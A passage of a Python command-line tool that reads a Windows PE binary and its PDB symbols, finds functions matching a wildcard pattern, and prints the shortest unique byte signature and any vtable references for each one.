def _get_section_for_rva(self, rva: int) -> Optional[Tuple[str, dict]]:
"""Get the section that contains the given RVA."""
for name, info in self._section_cache.items():
if info['va'] <= rva < info['va'] + info['size']:
return (name, info)
return None
def get_bytes_at_rva(self, rva: int, size: int) -> Optional[bytes]:
"""Get bytes at a given RVA."""
try:
return self.pe.get_data(rva, size)
except:
return None
def find_pattern_in_section(self, pattern: bytes, section_name: str) -> List[int]:
"""Find all occurrences of a pattern in specified section, return RVAs."""
if section_name not in self._section_cache:
return []
info = self._section_cache[section_name]
data = info['data']
base_va = info['va']
matches = []
start = 0
while True:
pos = data.find(pattern, start)
if pos == -1:
break
rva = base_va + pos
matches.append(rva)
start = pos + 1
return matches
def find_pattern_all_sections(self, pattern: bytes) -> List[Tuple[str, int]]:
"""Find all occurrences of a pattern in all sections, return (section, RVA) pairs."""
all_matches = []
for name, info in self._section_cache.items():
data = info['data']
base_va = info['va']
start = 0
while True:
pos = data.find(pattern, start)
if pos == -1:
break
rva = base_va + pos
all_matches.append((name, rva))
start = pos + 1
return all_matches
def find_minimum_unique_signature(self, rva: int) -> Tuple[Optional[bytes], int, int, str]:
"""
Find the minimum unique byte signature for a symbol at the given RVA.
Searches the section containing the RVA.
Returns: (signature_bytes, length, match_count, section_name)
"""
# Find which section this RVA belongs to
section_info = self._get_section_for_rva(rva)
if section_info is None:
return None, 0, 0, ""
section_name, info = section_info
# Get enough bytes to work with
func_bytes = self.get_bytes_at_rva(rva, self.MAX_SIG_LENGTH)
if func_bytes is None or len(func_bytes) < self.MIN_SIG_LENGTH:
return None, 0, 0, section_name
# Incrementally increase pattern length until unique
for length in range(self.MIN_SIG_LENGTH, min(len(func_bytes), self.MAX_SIG_LENGTH) + 1):
pattern = func_bytes[:length]
matches = self.find_pattern_in_section(pattern, section_name)
if len(matches) == 1:
return pattern, length, 1, section_name
elif len(matches) == 0:
return pattern, length, 0, section_name
# No unique signature found within max length
pattern = func_bytes[:self.MAX_SIG_LENGTH]
matches = self.find_pattern_in_section(pattern, section_name)
return pattern, self.MAX_SIG_LENGTH, len(matches), section_name
def find_vtable_references(self, rva: int) -> List[int]:
"""
Find vtable entries in .rdata that point to this function's RVA.
Returns list of RVAs where references were found.
"""
if '.rdata' not in self._section_cache:
return []
rdata_info = self._section_cache['.rdata']
data = rdata_info['data']
base_va = rdata_info['va']
references = []
# Determine pointer size based on PE type
is_64bit = self.pe.FILE_HEADER.Machine == 0x8664
ptr_size = 8 if is_64bit else 4
ptr_format = '<Q' if is_64bit else '<I'
# Calculate the VA we're looking for
target_va = self.image_base + rva
# Scan through .rdata looking for pointers to our function
for offset in range(0, len(data) - ptr_size + 1, ptr_size):
try:
ptr_value = struct.unpack(ptr_format, data[offset:offset + ptr_size])[0]
if ptr_value == target_va:
ref_rva = base_va + offset
references.append(ref_rva)
except struct.error:
continue
return references
def format_bytes(data: bytes) -> str:
"""Format bytes as hex string."""
return ' '.join(f'{b:02X}' for b in data)
def analyze_symbols(pe_path: str, pdb_path: str, pattern: str,
min_sig: int = 8, max_sig: int = 64,
verbose: bool = False) -> Iterator[SignatureResult]:
"""
Main analysis function.
Yields SignatureResult for each matching symbol.
"""
# Load PE file
try:
pe_analyzer = PEAnalyzer(pe_path)
pe_analyzer.MIN_SIG_LENGTH = min_sig
pe_analyzer.MAX_SIG_LENGTH = max_sig
except Exception as e:
yield SignatureResult(
symbol=SymbolInfo(name="", rva=0),
error=f"Failed to load PE file: {e}"
)
return
# Parse PDB
try:
pdb_parser = PDBParser(pdb_path, pe_analyzer.pe, verbose=verbose)
except Exception as e:
yield SignatureResult(
symbol=SymbolInfo(name="", rva=0),
error=f"Failed to parse PDB file: {e}"
)
return
if not pdb_parser.symbols:
yield SignatureResult(
symbol=SymbolInfo(name="", rva=0),
error="No symbols found in PDB"
)
return
# Find matching symbols
matches = pdb_parser.find_symbols(pattern)
if not matches:
yield SignatureResult(
symbol=SymbolInfo(name=pattern, rva=0),
error=f"No symbols found matching pattern: {pattern}"
)
return
print(f"Found {len(matches)} symbol(s) matching pattern '{pattern}'\n", file=sys.stderr)
# Analyze each matching symbol
for sym in matches:
sig_bytes, sig_len, match_count, section = pe_analyzer.find_minimum_unique_signature(sym.rva)
vtable_refs = pe_analyzer.find_vtable_references(sym.rva)
error = None
if sig_bytes is None:
error = "Could not read bytes at RVA"
elif match_count > 1:
error = f"Warning: No unique signature found within {max_sig} bytes ({match_count} matches)"
elif match_count == 0:
error = f"Warning: Pattern not found in {section or 'any'} section (RVA may be invalid)"
yield SignatureResult(
symbol=sym,
signature=sig_bytes,
signature_length=sig_len,
section=section,
match_count=match_count,
vtable_refs=vtable_refs,
error=error
)
def print_result(result: SignatureResult):
"""Print a single result in a clean, parseable format."""
print("-" * 60)
# Symbol name (both mangled and demangled if different)
demangled = demangle_symbol(result.symbol.name)
if demangled != result.symbol.name:
print(f"Symbol: {demangled}")
print(f"Mangled: {result.symbol.name}")
else:
print(f"Symbol: {result.symbol.name}")
print(f"RVA: 0x{result.symbol.rva:08X}")
if result.section:
print(f"Section: {result.section}")
if result.symbol.size > 0:
print(f"Size: {result.symbol.size} bytes")
if result.error and result.signature is None:
print(f"Error: {result.error}")
else:
if result.signature:
sig_str = format_bytes(result.signature)
if result.match_count == 1:
print(f"Minimum Signature ({result.signature_length} bytes): {sig_str}")
else:
print(f"Signature ({result.signature_length} bytes, {result.match_count} matches): {sig_str}")
if result.error:
print(f"Note: {result.error}")
if result.vtable_refs:
print(f"VTable References ({len(result.vtable_refs)}):")
for ref_rva in result.vtable_refs:
print(f" 0x{ref_rva:08X}")
print()
def main():
parser = argparse.ArgumentParser(
description='Find minimum unique signatures for functions in PE files using PDB symbols.',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Examples:
%(prog)s app.exe app.pdb "*::MyClass::*"
%(prog)s app.exe app.pdb "?Init@*"
%(prog)s app.exe app.pdb "??_7*@@6B@" (vtable pattern)
Pattern Syntax:
* matches everything
? matches any single character
[seq] matches any character in seq
[!seq] matches any character not in seq
'''
)
parser.add_argument('pe_file', help='Path to the PE file (.exe or .dll)')
parser.add_argument('pdb_file', help='Path to the PDB file')
parser.add_argument('pattern', help='Symbol pattern (supports wildcards)')
parser.add_argument('-v', '--verbose', action='store_true',
help='Enable verbose output')
parser.add_argument('--min-sig', type=int, default=8,
help='Minimum signature length (default: 8)')
parser.add_argument('--max-sig', type=int, default=64,
help='Maximum signature length (default: 64)')
parser.add_argument('--list-symbols', action='store_true',
help='List all symbols without signature analysis')
args = parser.parse_args()
# Validate files exist
if not Path(args.pe_file).exists():
print(f"Error: PE file not found: {args.pe_file}", file=sys.stderr)
sys.exit(1)
if not Path(args.pdb_file).exists():
print(f"Error: PDB file not found: {args.pdb_file}", file=sys.stderr)
sys.exit(1)
print(f"Analyzing: {args.pe_file}")
print(f"PDB: {args.pdb_file}")
print(f"Pattern: {args.pattern}")
print()
if args.list_symbols:
# Just list matching symbols
try:
pe = pefile.PE(args.pe_file)
pdb_parser = PDBParser(args.pdb_file, pe, verbose=args.verbose)
matches = pdb_parser.find_symbols(args.pattern)
print(f"Found {len(matches)} matching symbol(s):\n")
for sym in matches:
demangled = demangle_symbol(sym.name)
if demangled != sym.name:
print(f"0x{sym.rva:08X}: {demangled}")
print(f" {sym.name}")
else:
print(f"0x{sym.rva:08X}: {sym.name}")
except Exception as e:
print(f"Error: {e}", file=sys.stderr)
sys.exit(1)
return
# Run full analysis
results = list(analyze_symbols(
args.pe_file, args.pdb_file, args.pattern,
min_sig=args.min_sig, max_sig=args.max_sig,
verbose=args.verbose
))
for result in results:
print_result(result)
# Summary
successful = sum(1 for r in results if r.signature is not None and r.match_count == 1)
total = len(results)
print("=" * 60)
print(f"Summary: {successful}/{total} symbols with unique signatures found")
if __name__ == '__main__':
main()